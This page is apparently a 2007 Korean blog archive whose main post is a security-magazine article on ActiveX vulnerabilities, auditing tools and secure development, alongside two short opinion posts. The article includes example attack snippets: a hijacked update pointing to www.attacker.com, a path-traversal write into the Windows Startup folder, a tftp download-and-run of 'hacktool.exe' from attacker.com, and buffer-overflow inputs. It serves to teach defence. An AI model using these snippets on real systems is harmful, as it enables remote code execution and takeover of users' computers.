분류 전체보기 (69)
Life Story (22)
Music Story (12)
My Play (10)
Security (20)
Scrap (3)
Virtualization (1)
Jazz  schecter SD-II  웹 접근성  기타연주  가상화  인터넷뱅킹  security  Gartner  웹접근성  guitar  srv  Recording  ActiveX  블루스  웹표준  마이클잭슨  전자금융  기타  Schecter  구글어스  인터넷 뱅킹  악플  hijacking  보안  hacking  jimi  전자정부  Virtualization  연주  blues 
 오픈웹 v. 금..
└>Open Web
 ActiveX 알고..
└>日常茶飯事
 Vista ActiveX..
└>SNAIPER의 조..
 마이클잭슨 내..
└>[Noenemy]'s m..
«   2007/05   »
    1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31    
+ VMblog.com -..
+ virtualizatio..
+ Virtualizatio..
+ VMTN Blog
+ Total : 71,928
+ Today : 1
+ Yesterday : 7
  

 

 

 

2007/05 _해당되는 글 3건
2007.05.21   인터넷과 포털서비스 
2007.05.07   배경음악 서비스??? 
2007.05.02   ActiveX 취약점에 대한 이해와 보안 (2)

 

인터넷과 포털서비스
+   [Security]   |  2007.05.21 11:08  
아침에 RSS로 배달되는 블로그 목록을 보다가 보니, 2007년에 Educational and Reference Websites 순위에서 Wikipedia가 6배 정보의 차이로 2위인 Yahoo! Answers 서비스를 누르고 1위를 차지했더군요.

Top 20 Educational and Reference Websites
Week Ending March 17, 2007
Share of traffic
in the category that week
1. Wikipedia 24.33%
2. Yahoo! Answers 4.23%
3. Dictionary.com 3.79%
4. Answers.com 3.53%
5. SparkNotes 1.62%
6. Google Scholar 1.31%
7. Google Book Search 1.09%
8. Find Articles .99%
9. U.S. National Library of Medicine .99%
10. Merriam-Webster Online .85%
Source: Hitwise, U.S. Internet Visits (market share) for week ending March 17, 2007

위 자료의 위키피디어의 상세 자료를 보면, 학력이 높고, 연봉이 높을 수록 위키피디어의 접속 비율이 높다는 것을 알 수가 있습니다. 위키피디어에 접속하는 인간의 26%가 Dial-up Connection을 통해 접속했다는 것도 사실 좀 놀랍습니다.

우리나라의 경우에는 어떨까요? Naver 지식인 서비스가 압도적일 것으로 예상되는데, Naver 지식인 뿐만이 아닌 우리나라의 소위 포탈 서비스라는 것들이 다루는 정보라는 것은 지식을 다룬다기 보다는 소비지향적 Entertainment 그 이상이 아니라고 봅니다. 우리나라의 트래픽은 사실상 P2P와 Game이 점령한지 오래이며, 좀 더 정확히는 포르노, MP3, Game 등 이죠.

현재의 포털 서비스는 비판적 시각에서 봤을때는 여론의 편중된 시각을 유도할 수 있을 정도의 강력한 지배능력까지 보유한 듯 싶습니다. 우리나라 특유의 국수주의와 패거리문화와 같은 특성을 이해한다면, 현실적으로 포털 서비스에서 민심을 얻는 대선주자가 대통령이 될 수도 있다고 봅니다. 문제는 이러한 포털서비스는 대한민국과 사이트 접속자를 위한 서비스가 아니라는 점 입니다. 포털사이트의 철저한 이익에 충실한 서비스가 포털서비스의 본질이지요.

우리나라에 있어 도대체 인터넷이란 무엇일까요? 인터넷을 통한 성공적 비지니스 모델이라는 것은 결국 사용자를 단말기 앞에 오래 앉아있도록 하는 기술일까요? 그것이 우리의 목표가 되어야 하는 것 일까요? 분명한 것은 현재의 상황이 지속될 경우, 세계적인 인터넷 인프라를 보유하고 있으면서도, 그 인프라를 이용해 부가가치를 창출하지 못할 거라는 겁니다. 대한민국의 성공적 비지니스 모델이 착취적 또는 중독적 성격의 서비스가 주류이고, 이러한 서비스에 몰두하는 서비스 사용자를 보통 폐인이나 중독자로 부르는 것을 보면, 우리나라의 성공적 비지니스 모델은 국가적인 손실까지 불러오는 서비스라고 감히 단언합니다.

본질적으로 인터넷을 통한 정보 접속에 있어, 빠른 속도의 회선은 의미가 없는 것 같습니다. 그렇기 때문에 위키피디어에 접속하는 26%의 사용자는 Dial-up 접속과 같이 비싼 인터넷 접속 매체를 이용해가면서까지 위키피디어에 접속하는 것 이겠지요. 고급두뇌가 몰리는 세계적 기업의 공통된 특징은 기술을 선도하는 기업이며, 그 기술이 많은 사람들의 지식과 삶을 풍족하게 만드는 기술이라고 봅니다. 그것이 세계를 선도하게 만드는 기업의 철학이지요. 따라서 기업의 철학이 고급두뇌를 유치하는 기본 조건이 된다고 봅니다.

대한민국에는 이러한 기업철학을 가지는 기업은 없어 보입니다. 아직도 인터넷 트래픽이 인터넷 기업의 비지니스 모델이라고 판단하는 인질(포털) 서비스와 같은 기업철학을 가진 기업들만 존재하는 것 같아서  Top 20 Educational and Reference Websites 자료를 보면서 무척이나 부럽게 느껴졌습니다.

Dial-up 접속을 해가면서 까지 인터넷에 접속해서 정보를 획득하고 싶은 서비스가 우리나라에는 몇개 정도나 될까요?
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

 
 
     위키피디어, 포털사이트
     0   0

아이디 
비밀번호 
홈페이지 
비밀글   

 

 

배경음악 서비스???
+   [Life Story]   |  2007.05.07 15:45  
코흘리던 70년대 어린 시절의 딱지와 구슬이 나의 사회적 존재감을 나타내주는 것 이었다면, 80년대에는 나이키, 리바이스가 그러하였고, 90년대에는 가방에 새겨진 학교이름이 그랬고, 2000년대인 지금은 내가 타고 다니는 차와 연봉과 보유 주식이 그 역할을 하는 것 같습니다. 어릴때 가지고 놀던 장난감의 비용이 점차 늘어나는 것을 확인 할 수 있죠. 딱지와 배경음악 서비스, 별다방 콩다방 등에서 찍은 그 무수한 사진들은 다른 것 같지만, 사실상 나의 존재감을 확인시킨다는 측면에서는 최소한 비슷한 구석은 있는 것 같습니다.

어릴적 가지고 놀던 딱지를 지금까지도 소중하게 간직하는 사람도 있는 것 같긴 합니다만, 지금은 거의 가지고 있지 않습니다. 왜냐하면 시시해서 재미가 없고, 같이 놀 상대도 없기 때문이죠.

미니홈피, 도토리, 일촌과 같은 단어를 보통명사로 만들어 버린 C본부의 휴대전화와 결합한 마케팅 플랜은 미니홈피 스토커 등의 신조어까지 만들어가며 맹위를 떨쳤었죠. 도토리를 지불하고 구입한 음원이 안나오는 미니홈피가 없을 정도였고, 지인들의 미니홈피에서 흘러나오는 음악에 정신이 없을 지경이었죠. 짜증이 날 정도였으니까. 사람들의 돈과 시간의 낭비는 물론이며, 짜증까지 유발하게 만드는 기술이라면, 그것은 성공, 실패 여부를 떠나서 나쁜 기술이 아닐지?
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

 
 
     미니홈피, 배경음악, 배경음악 서비스
     0   0

아이디 
비밀번호 
홈페이지 
비밀글   

 

 

ActiveX 취약점에 대한 이해와 보안
+   [Security]   |  2007.05.02 21:10  

정보보호 관련 잡지에 연재중인 ActiveX 관련 2회 내역. 개인적으로는 중요한 회사일과 원고마감일이 겹쳐서 무척이나 힘들었다.

(참조 이미지도 상당량인데, 이미지 업로드에 대한 귀차니즘 때문에 이미지는 전체 생략. OTL)

-----------------------------

[
글 싣는 순서]

 

1. 비판적 시각에서의 ActiveX 기술

2. ActiveX 취약점에 대한 이해와 보안 <-- 이번회

 

ActiveX 1996년 초에 발표되었으며, 잘 알려진 바와 같이 ActiveX COM(Component Object Model)의 확장판의 성격을 가지며, DCOM(Distributed COM)을 거쳐서 현재의 .NET 전략으로 통합되는 양상을 띄고 있다. 사실상 ActiveX SUNJAVA에 대한 대안의 성격으로 발표되었다고 보는 것이 맞다고 보며, 당시 마이크로소프트의 API 혁명이라고 불릴만한 OLE(Object Linking and Embedding) 기술은 OLE로 연결된 개체가 다른 응용프로그램에서도 적용되고, 작동될 수 있도록 하는 것을 의미한다. 물론 이러한 것은 DOS 시절에는 불가능하던 것들 이었다.

 

위에서도 잠시 언급했지만, ActiveX SUNJAVA에 대한 아류작 정도로 생각하는 경우도 존재하는데, MS SUNJAVA에 대한 대안적 의미의 기술을 제시했지만, 그 적용 방식에 있어서는 SUNJAVA와 상당한 차이를 보이고 있다. 간단히 몇 가지만을 보면 아래와 같다.

 

구분

ActiveX

JAVA

플랫폼 의존성

플랫폼 의존

플랫폼 독립적

구현 언어

다양한 언어로 구현 가능

JAVA AppletJAVA로만 구현 가능

해석 방식

Compile 방식

Interpreter 방식

속도

빠름

상대적으로 느림

구현

IE에서 동작

거의 모든 브라우저에서 동작

 

JAVA의 기본 보안 모델은 신뢰할 수 없는 코드를 샌드박스(Sandbox, 아이들이 다치지 않고 놀 수 있는 모래로 만들어진 공간으로써, 안전한 공간 또는 격리된 공간을 의미)에서 실행하지만, ActiveX의 기본 보안 모델은 신뢰할 수 없는 코드는 아예 실행하지 않는 모델이라고 볼 수 있다. 따라서 ActiveX Sandbox에서 실행된다는 개념은 없으며, 이미 수없이 많이 본 저작자 서명된 컨트롤을 허용할 지의 여부를 물어보게 되는데, 사실 이 신뢰 모델의 중심에는 전자서명(Digital Sign)이 있다. 이러한 전자서명은 개발자가 배포한 올바른 배포본이 맞는지, 다른 누군가에 의해 배포본이 수정되지는 않았는지의 여부를 효과적으로 검증 가능하게 한다. 문제는 전자서명이 되어 있다고 해서 이것이 악의적인 공격 코드를 포함하고 있는지, 특정 시스템 명령을 악용하는지 등 안전성 여부에서 자유롭다는 것을 의미하지는 않는다.

 

Although code signing can guarantee the identity of the control author and guarantee that the control has not been tampered with, it does not guarantee that the code is free from errors and security vulnerabilities

Source : 288P, WRITING SECURE CODE, MICROSOFT PRESS.

 

문제의 중심에는 바로 이러한 신뢰모델이 문제가 되는데, MS는 기본적으로 서명된 ActiveX 컨트롤은 허용하고, 서명되지 않은 ActiveX 컨트롤은 불허하는 방식이다. 설명만 들으면 그럴 듯 해 보일 수도 있으나, 이것은 서명된 ActiveX 컨트롤이 올바른 배포본이고, 악의적인 코드가 포함되어있지 않다는 필요충분조건이 만족해야 가능한 시나리오이다. 또한, 사용자는 특정 서비스를 이용하기 위해 본인이 명확히 모르고, 원하지도 않는 ActiveX 컨트롤의 허가 및 불허 여부를 강요당하는데, ActiveX의 컨트롤 운영 방식은 전부가 아니면 허용하지 않는 방식이기 때문에 무심코 받아들인 ActiveX 컨트롤은 사용자가 할 수 있는 모든 접근권한을 갖게 된다고 볼 수 있다. 이때, 사용자의 시스템에 존재하는 특정 개인정보를 빼가거나, 시스템 명령 수행을 통해 악의적 행위가 이루어지게 되면, 사실상 사용자가 할 수 있는 일은 거의 없다고 보면 된다. 바로 이러한 부분에서 JAVA ActiveX는 현격한 구현상의 차이를 보이는 부분이기도 하다.

 

보안 측면에서 ActiveX가 갖는 의미는 공격 방식의 변화를 의미하며, 기존의 PC<->System, PC<->Network, PC<->PC 1차원적 공격을 벗어났다는 것을 의미한다. 기존의 공격 방식은 1:1 공격이 주류를 이루고, 이러한 공격 방식은 Layer 4(Transport Layer) 기반의 IP, Port 기반의 접근제어(Access Control)로 방어할 수 있는 성격의 취약점 들 이었다. 하지만, 이러한 공격 방식은 공격자들에게는 하나의 장벽이지만 뛰어넘지 못할 정도의 것은 아니었으며, 새로운 공격방식으로 등장한 어플리케이션 취약점에 주목하기 시작했다.

 

이는 WWW의 폭발적인 성장으로 인해 인터넷이 업무 그 자체가 되는 시대에 웹 클라이언트에서 이용 가능한 자바스크립트나 VB 스크립트와 같은 프로그래밍 언어 및 자바애플릿과 ActiveX 컨트롤 등의 개념이 지속적으로 생겨나면서 공격자와 사용자 사이에 다양한 커뮤니케이션의 연결고리가 생겼다는 것을 의미하며, 이는 공격 방식이 기존의 1:1에서 1:n으로 변화되었다는 것을 의미한다. 이는 기존의 공격 방식이 Layer 4(Transport Layer)에서 Layer 7(Application Layer) 계층으로 변화되었다는 것을 의미하며, 좀 더 정확히는 기존의 접근제어 체계를 우회하여 효과적으로 공격 가능한 루트 확보에 성공했다는 것을 의미한다. 따라서 공격자가 어플리케이션 공격에 주목했다는 의미는 기존의 IP, Port 기반의 접근제어(Access Control)의 영향을 받지 않는다는 것이라고 볼 수 있으며, 좀 더 정확히는 기존의 방화벽 기술이 이러한 어플리케이션 기반 공격을 전혀 막아내지 못한다는 것을 의미한다. 최근에 시장에서 선보이고 있는 웹 방화벽이나 각종 컨텐츠 필터링 계열 장비들의 존재는 바로 이러한 기존 방화벽과 같은 접근제어 체계의 현실적 한계성에서 비롯된다고 할 수 있다.

 

대한민국의 경우에는 그야말로 ActiveX의 천국이며, MS가 꿈꾸어왔던 ActiveX가 할 수 있는 모든 것이 대한민국의 거의 모든 사이트마다 구현되어 있다고 보면 정확할 듯싶다. 우리나라의 정보보호기반시설에서 사용되는 보안시스템은 국가의 평가 및 인증제도를 거친 안정성 높은 시스템을 이용하도록 장치가 마련되어 있으나, 어플리케이션 구현 내역에 대해서는 주기적으로 홈페이지 리뉴얼 및 개편과 같이 수시로 변화하는 특성 때문에 이러한 검증제도의 구현이 현실적으로 어려우며, 개발자에 의해 구현된 ActiveX 컨트롤에 대해서 평가 및 인증제도를 거치는 경우 또한 없다. 따라서 ActiveX 컨트롤의 보안성은 개발자의 보안지식에 의존할 뿐 ActiveX 컨트롤에 대한 시스템적인 평가와 인증과 같은 검증절차를 거치는 경우는 없다고 보는 것이 정확할 듯싶다.

 

ActiveX 컨트롤을 설계하는 개발자는 보안적인 측면에서 악용이 가능한 기능을 제공하지 않거나, ActiveX 컨트롤이 불완전한 Method, Property등을 제공하고 있다면, 이러한 서비스 제공 여부를 판단하여, 검증하고 구현한 후 배포가 이루어져야 하지만, 현실은 그렇지 못하며, 일반적인 어플리케이션 개발과 마찬가지로 RFP(Request for Proposal)에 명시된 기능 목록을 만족하면 검수가 되는 일반적인 절차를 거친다.

 

불특정 다수에게 서비스가 되는 어플리케이션을 개발할 때는 유의해야 할 사항이 많다는 것을 알 수가 있는데, 오피스 프로그램, 뷰어, ActiveX 등이 그 예가 될 수 있다. 공격자는 이러한 어플리케이션 간의 연결고리를 분석하고 취약점의 존재 여부를 검증하며, 동시에 공격에 이용 가능한 PoC(Proof of Concept) 코드를 작성하게 되는데, 최근에 많은 취약점이 쏟아지고 있는 오피스 계열의 취약점의 경우, 조작된 문서를 읽게 되면 사용자 PC의 권한 획득이 가능한(일반적으로 오피스 계열의 취약점은 Classical Buffer Overflow 또는 Race Condition 취약점이 대부분이다) 경우가 존재하는 등, 다양한 부분에서 역공학(Reverse Engineering) 등의 기법을 통한 취약점이 맹위를 떨치는 이유는 개발자의 개발 산출물에 대한 보안성 검증이 의외로 허술하다는 점에 기인한다.

 

기존에 발견되었던 ActiveX 컨트롤 취약점을 다시 한번 분석해 보면 그 유형이 아래와 같음을 알 수 있다.

 

1. 로컬 자원에 접근 가능한 Method를 직접적으로 제공

2. 업데이트 기능을 악용하여, 정상적인 배포본이 아닌 조작된 배포본을 받게 하는 행위

3. 정교하게 조작된 입력값을 통해 정상적 로직을 Bypass 하는 경우

4. Method Property 등의 입력 값에 대한 버퍼 오버플로우

 

위의 내역을 살펴보면 사실 별 것 아닐 수도 있는 취약점이거나 설마 저런 것도 검증이 안될까라고 생각되는 부분도 존재하는 것을 볼 수가 있는데, 현업에서 보안 컨설팅을 하다 보면 이러한 문제점이 10곳 중에서 7곳에서는 나오는 취약점 유형임을 감안해 본다면, 이러한 검증 걸차가 이루어지지 않거나, 보안의 심각성 자체를 인지하지 못하는 경우가 대부분이다.

 

ActiveX 컨트롤은 자바 애플릿과는 달리 파일이나 레지스트리에 대한 접근이 가능하다. 또한, 일반적인 윈도우 어플리케이션과는 달리 공격자가 웹 인터페이스를 통해 누구나 언제든지 실행할 수 있다는 점이 특징적이다.

 

<OBJECT ID="update" WIDTH=0 HEIGHT=0

 CLASSID="CLSID:9D01F646-">

<PARAM NAME=nam VALUE=12>

</OBJECT>

 

<script>

 

update.StartUpdate()

 

</script>

[Object Tag Script를 이용한 호출]

 

그렇다면 ActiveX 컨트롤은 도대체 어느 정도에 쓰여지는지를 알아보면, 윈도우 기본 컨트롤은 물론이며, 메신저 프로그램, 동영상 및 음악 플레이어, 온라인 게임설치 프로그램, 공인인증서, 보안프로그램(키로거, PC 방화벽, 스파이웨어 등) 등에서 사용되고, 이는 거의 모든 국내 사이트에서 ActiveX 컨트롤이 사용되고 있음을 의미한다. 문제는 이러한 ActiveX 컨트롤의 설치 여부를 사용자가 오판하여 문제가 발생하는 경우 외에도 2002년 이후에 나오는 대부분의 애드웨어 등은 ActiveX 또는 IE 취약점을 이용하는 경우가 대부분이며, 이러한 취약점을 이용하기 때문에 확인 버튼을 누르는 것과는 관계없이 자동으로 설치되는 경우가 대부분이다.

 

[이미 악성코드가 설치된 웹 서비스]

[악성코드가 숨겨진 스크립트 내역]

 

따라서 사용자는 본인의 의지와는 관계없이 특정 악성코드가 설치된 웹 사이트를 방문하는 것 만으로도 악성 ActiveX 컨트롤이 설치된다. 이러한 경우, 최소한의 PC 보안 장치 조차 없는 경우에는 거의 사용자는 무방비 상태로 방치되며, 사용자는 보안에 대한 상당 수준의 지식이 없으면, 이러한 악성 컨트롤이 설치된 여부를 알지 못하는 경우가 일반적이다. 사실 이러한 경우에는 해당 사이트 규모에 따라서 엄청난 규모의 피해가 나타날 수도 있는데, 공공 사이트 또는 포털 사이트 및 SNS(Social Network Service) 사이트 및 게임 사이트의 경우에는 단일 사용자가 1,000만명을 넘는 경우도 존재하는데, 각종 스크립트 인젝션 등의 자체 취약점을 이용하거나, ActiveX 컨트롤 취약점을 이용하게 될 경우, 1,000만명이 사용하는 PC 전체의 권한의 획득은 물론이고, 개인정보의 획득 또한 가능하게 된다.

 

<OBJECT classid="CLSID:ABCDEFGH-123A-1234-ABAB-AAAAAAAAAAAA"  codebase="http://100.100.100.100:80/Vulnerable.cab#version=2,5,6,6" id=OBJECT1" id="OBJECT1" id="Vulnerable" id="Vulnerable"

 height=1 id="Vulnerable" style="HEIGHT: 1px; LEFT: 1px; TOP: 1px; WIDTH: 1px"

 width=1 VIEWASTEXT>

 <PARAM Name="Server_IP" value="100.100.100.100">

 <PARAM Name="Server_PORT" value="80">

 <PARAM Name="IVER" value="2,5,4,55">

 <PARAM Name="LoadStart" value="TRUE">

 <PARAM Name="Debug" value="FALSE"></object>

[업데이트 관련 취약성이 존재하는 ActiveX 컨트롤]

 

위 스크립트를 보면, 인터넷 익스프롤러(이하 IE)는 위 스크립트를 실행하고 Server_IP라는 인자에 설정된 주소로 업데이트 요청을 시도하는 것을 확인 할 수 있다. 위 스크립트의 경우 http://100.100.100.100/Vulnerable/Vulnerable.exe를 다운로드 받도록 되어있었다. 그러나 위 스크립트는 사용자 브라우저에서 실행되어지는 것이므로 관련 스크립트에 정의된 Server_IP와 같은 인자값이 조작되는 것이 가능하였다.

 

<OBJECT classid="CLSID:ABCDEFGH-123A-1234-ABAB-AAAAAAAAAAAA"  codebase="http://100.100.100.100:80/Vulnerable.cab#version=2,5,6,6" id=OBJECT1" id="OBJECT1" id="Vulnerable" id="Vulnerable"

 height=1 id="Vulnerable" style="HEIGHT: 1px; LEFT: 1px; TOP: 1px; WIDTH: 1px"

 width=1 VIEWASTEXT>

 <PARAM Name="Server_IP" value="www.attacker.com">

 <PARAM Name="Server_PORT" value="80">

 <PARAM Name="IVER" value="2,5,4,55">

 <PARAM Name="LoadStart" value="TRUE">

 <PARAM Name="Debug" value="FALSE"></object>

[업데이트 위치를 조작한 경우]

 

만약 공격자가 위 스크립트에서 Server_IP를 자신의 공격용 서버로 변경하고 자신의 서버에 악성코드가 심어진 Vulnerable.exe 업데이트 파일을 올려놓을 경우, 공격자는 해당 사용자 PC의 관리자 권한을 획득하는 것이 가능하게 되었다.

 

                    [사이트 방문시 자동으로 악성코드가 인스톨된 상태]

 

이처럼 이미 신뢰상태에 있는 ActiveX 컨트롤의 업데이트와 같은 방법을 통해 확인절차 하나 없이도 공격자는 스스로의 악성 코드를 사용자에게 이식시킬 수 있고, 심지어 원격에서 조정도 가능하다.

 

                                            [악성 코드가 삽입된 메일 발송]

 

위의 그림에서는 일반적인 메일 서비스를 이용해서 악성코드가 삽입된 메일을 발송한 예가 된다.


 

[ActiveX 컨트롤 취약점을 이용하여 IRC 채널을 통한 원격 PC 접속]

 

위 그림에서는 ActiveX 컨트롤 취약점을 이용하여 스크립트가 삽입된 악성 메일을 특정 사용자에게 보내게 되면, 사용자는 의심 없이 해당 메일을 받아들임과 동시에 악성 코드에 감염이 된다. 이러한 경우, 공격자는 방화벽을 우회하여 기업 내에 존재하는 원거리 시스템을 실시간으로 조작할 수 있을 정도의 권한의 획득이 가능해 진다. 이러한 경우 하나의 조직 내에 이러한 취약점이 존재할 경우, 해당 조직에서 사용하는 전체 PC의 권한 획득이 가능함은 물론이며, 특정 기밀 정보의 유출 또한 가능해 진다. 또한, 엄청난 수의 사용자가 방문하는 웹 사이트에 이러한 취약점이 존재할 경우에는 재앙이라고 표현 가능할 정도의 파급도가 예상된다.

 

이러한 ActiveX 관련 취약점 유형에는 위에서 언급한 업데이트 관련 내역 말고도 상당한 응용이 가능한 취약점 유형이 다수 존재하고 있는데, 대략적인 내역을 살펴보면 다음과 같다.

 

 

 

 

1. File Read/Write Method 조작

 

<OBJECT ID=mymusic" WIDTH=0 HEIGHT=0

 CLASSID="CLSID:AAAAAAAA-A1B1-ABCD-AAAA">

</OBJECT>

 

<script>

Mymusic.SetBannerImage(http://vulnerable.co.kr/big.gif);

</script>

// 원래의 저장 경로 : c:\program files\mymusic\data\big.gif

[정상적인 File Read/Write Method]

 

<OBJECT ID=mymusic" WIDTH=0 HEIGHT=0

 CLASSID="CLSID: AAAAAAAA-A1B1-ABCD-AAAA ">

</OBJECT>

 

<script>

Mymusic.SetBannerImage(

http://vulnerable.co.kr/..\..\.\documents and settings\All users\시작 메뉴\프로그램\big.bat);

</script>

// 조작된 저장 경로 : c:\Documents and Settings\All users\

시작 메뉴\프로그램\시작프로그래\big.bat

[조작된 File Read/Write Method]

 

위의 경우에는 File Operation 기능을 우회하여, 임의의 경로에 존재하는 임의의 파일을 쓰거나 실행시킬 수 있었다. 현재 국내에서 상당히 많은 수의 사이트에서는 Read/Write File과 같이 직접적인 Method를 제공하는 ActiveX 컨트롤도 다수 존재하며, 이러한 경우에는 개발자가 미처 생각지 못했던 Method, Property를 호출해 우회적으로 임의의 파일을 쓰거나 실행시키는 공격방식이 존재한다. 위의 경우에서는 파일 쓰기권한을 획득한 경우 기존 파일을 덮어쓰거나, c:\documents and settings\All users\시작 메뉴\프로그램\시작프로그램 폴더에 파일을 생성해 다음 번 로그인 또는 부팅 시에 파일이 악성 파일이 자동으로 실행되게 할 수 있었다.

 

2. 시스템 자원에 대한 접근 방식

과거 C언어에서 System 함수와 같은 역할을 하는 Method를 과감히 사용하는 경우도 대단히 많이 존재하는데, SetRegistryValue, GetRegistryValue 등 레지스트리에 대한 직접적 조작이 가능한 Method는 잠재적으로 모두 취약할 가능성이 99.99%라고 보면 될 듯 싶다. 따라서 이러한 경우에는 아래와 같은 방식으로 간단히 공격용 도구를 시스템에 설치하고 실행시키는 방식이 존재한다.

 

ExeCommand(tftp i attacker.com GET hacktool.exe c:\hacktool.exe);

ExeCommand (c:\hacktool.exe);

 

3. 보안영역 접근 방식

일반적으로 IE는 현재 페이지의 보안영역에 따라 서로 다른 수준의 보안수준의 설정을 한다는 것을 알 수 있는데, 보안영역은 해당 페이지가 속한 도메인이 무엇인가에 따라 결정된다고 보면 된다. 이러한 영역구분은 인터넷 영역, 인트라넷 영역, 내컴퓨터 영역으로 구분된다.

 

인터넷 영역은 사실상 로컬자원에 대한 접근은 금지되며, 인트라넷 영역은 인터넷 영역과 마찬가지로 로컬 자원에 대한 접근이 금지된다. 내컴퓨터 영역에서는 file:///c:/test\test.html과 같이 파일시스템에서 직접 페이지를 열게 되는 경우에 접근이 가능한 영역이다. 따라서 공격자의 웹 페이지가 IE에서 인터넷 영역이 아닌 내컴퓨터 영역으로 인식되게끔 하는 기법들이 다수 선보이고 있다. 보통 Cross Zone, Cross Domain 관련 취약점으로 명명되고 있다.

 

 

[MS05-001 취약점 내역]

 

위의 그림에서는 ntshared.chm 파일을 오픈하게 되어 있었으나, 해당 페이지에 Javascript Injection하게 되면, 이때 실행되는 영역은 내컴퓨터 영역이므로, 로컬자원에 접근이 가능하게 된다.

 

4. Buffer Overflow 계열

기본적인 어플리케이션 취약점 유형이며, 사실상 이러한 취약점은 Method 또는 Property에 대한 조작이 가능하기 때문에 발생한다.

 

<OBJECT ID="update" WIDTH=0 HEIGHT=0

 CLASSID="CLSID:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA">

 

<PARAM NAME=pam1 VALUE=AAAAAAAAAAAAAAAAAAAAAAA>

 

</OBJECT>

 

<script>

 

           update.UpdateURL = "http://AAAAAAAAAAAAAAAAAAAAAA..................AA";

           update.CreateMenu(type:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;

 

</script>

 

이러한 문제점은 일반적이기도 하지만 의외로 상당수의 ActiveX 컨트롤에서 발견되는 취약점 유형이기도 하다.

 

그럼 지금부터는 이러한 ActiveX 컨트롤 취약점에 대한 진단을 어떻게 하는 것이 좋은지에 대해 알아보기로 한다. 사실상 ActiveX 컨트롤의 취약점에 대한 진단은 공격 방식을 거의 그대로 재연하는 과정이며, 이러한 과정을 토대로 ActiveX 컨트롤의 보안성 향상에 지속적인 감사(Audit)를 실시하는 것이 바람직하다.

 

1. OLEView를 이용한 ActiveX 컨트롤 정보의 수집

OLEView MS사 홈페이지에서 무료로 다운로드 가능하며, Visual Studio 또는 Resource Kit에도 포함되어 있으므로 쉽게 구할 수 있을 것이다. OLEView를 이용하게 되면, 컨트롤의 기본적 정보라고 할 수 있는 Method, Property, Help String 등에 대한 정보의 확인이 가능하다.

 

[OLEView 실행 화면]

 

따라서 위와 같이 OLEView를 실행하여, Method, Property내역을 토대로 대략적인 기능에 대한 파악이 가능하다. 이러한 것을 토대로 Mnemonic화된 Method, Property내역에서 위에서 언급된 취약점에 해당하는 Operation이 존재하는지의 여부를 선행 검토하도록 한다.

 

2. ActiveX 컨트롤 호출구조 분석

HTML이나 JavaScript, VBScript 등에서 ActiveX 컨트롤이 호출되는 구조를 분석하도록 한다. 이때는 일반적인 소스보기 기능을 이용하거나, 웹 프락시, 웹 디버거, DOM 분석기 등을 이용하면, 쉽게 구조에 대한 파악이 가능하게 된다.

 

[DOM Analyzer를 이용한 분석]

 

따라서 이러한 도구를 이용해 ActiveX 컨트롤 호출을 위한 Request, Response의 조작이 가능한지의 여부와 JavaScript의 조작이 가능한지의 여부에 대한 검토를 수행하여야 한다. 또한, <OBJECT> 자체에 대한 생성을 조작하거나 제어가 가능한지의 여부에 대한 검토는 반드시 필요하다.

[웹 디버거를 이용한 분석]

 

위의 경우에서처럼 웹디버거를 이용한 분석도 대단히 효과적인 방식을 제공하는데, MS의 스크립트 디버거 또는 Visual InterDev등의 웹 개발 도구를 이용하면, 효과적인 감사(Audit)가 가능하다. 웹 디버거는 일반적인 애플리케이션 개발용 디버거와 마찬가지로 실행 도중 스크립트 변수의 조작이 가능하고, Break-Point의 설정 또한 가능하여, 스텝 별로 꼼꼼한 감사가 가능하다. Object를 호출하는 경우에도 변수형태로 전달되는 경우, 그의 값을 쉽게 관찰 가능하며, 또한 동시에 디버깅이 가능하다.

 

3. 자동화 이용

최근에는 자동화를 통해 많이 알려진 ActiveX 컨트롤 관련 취약점을 찾아내는 도구들이 많이 선보이고 있는데, 주로 Fuzzer라고 불리는 도구들을 이용하면 된다. 대표적인 도구에는 COMRaider, AXFuzz, Hamachi 등이 있으며, 쉽게 구할 수 있으나, 이러한 Fuzzing 기법을 통해 취약점을 찾아내는 방식이 주로 취약점에 대한 무작위 대입(Brute Force)과 같은 방식을 이용하기 때문에 취약점의 발견 자체가 일종의 확률과 운에 좌우되는 경우도 존재한다는 점이 문제라고 볼 수 있으며, 이것은 자동화 방식이기 때문에 어쩔 수 없는 부분도 있다.

 

[COMRaider 실행 화면]

 

ActiveX 컨트롤 취약점에 대한 공격을 수행하다 보면, 각종 어드레스를 수작업으로 맞추어줘야 하는 부분도 존재하며, 이러한 선행 작업 이후에 공격이 성공할 수가 있는데, 아무래도 자동화 과정에서는 이러한 세밀한 공격의 가능성 여부를 완전하게 점검하는 것은 쉽지가 않은 일이다.

 

ActiveX 컨트롤을 개발할 때, 주의해야 할 점은 아래와 같다.

 

구분

주의할 점

컨트롤 실행

누구든지 내가 만든 컨트롤을 실행할 수 있다는 점을 명심하여야 하며, 이는 해당 컨트롤이 정상적인 사이트 뿐만이 아닌 공격자 사이트에서도 실행될 수 있다는 점을 인지해야 한다

설계

외부에 노출시킬 Method, Property를 설계할 때는 특히 로컬자원에 접근할 수 있는 지의 여부를 철저하게 검토하여야 한다. 또한, 이러한 Method, Property는 가급적 이용하지 않도록 한다.

코딩

ActiveX 컨트롤은 사실상 사용자가 공격자라는 보안적 측면을 고려하지 않으면 안 된다. 입력값에 대해서는 위조될 수 있다는 측면을 끊임없이 고민해야 하며, 해당 입력값의 필터링에 대한 대책은 설계 단계에서 미리 고민해야 한다

입력값에 대해서는 필터링과 동시에 Buffer Overflow에 대한 대책을 동시에 구현해야 한다

파일명을 비롯한 각종 설정값은 언제든지 변조 될 수 있다는 점을 고려해야 한다. 따라서 조작된 URL Filename에 대한 적절한 필터링 및 해당 값에 대한 검증 절차를 구현하는 것이 바람직 하다

도메인 제한

ActiveX 컨트롤이 특정 도메인에서만 실행된다면 이를 명시적으로 구현하는 것이 바람직하다. 따라서 해당 도메인에 대한 확인 절차를 부가적으로 구현하고 허가되지 않은 도메인에서의 실행에 대해서는 거절할 수 있도록 한다

Safe for Initialization, Safe for Scripting

ActiveX 컨트롤이 로컬자원에 접근할 수 있는 경우 Safe for Initialization, Safe for Scripting 카테고리에 추가하지 않아야 한다

 

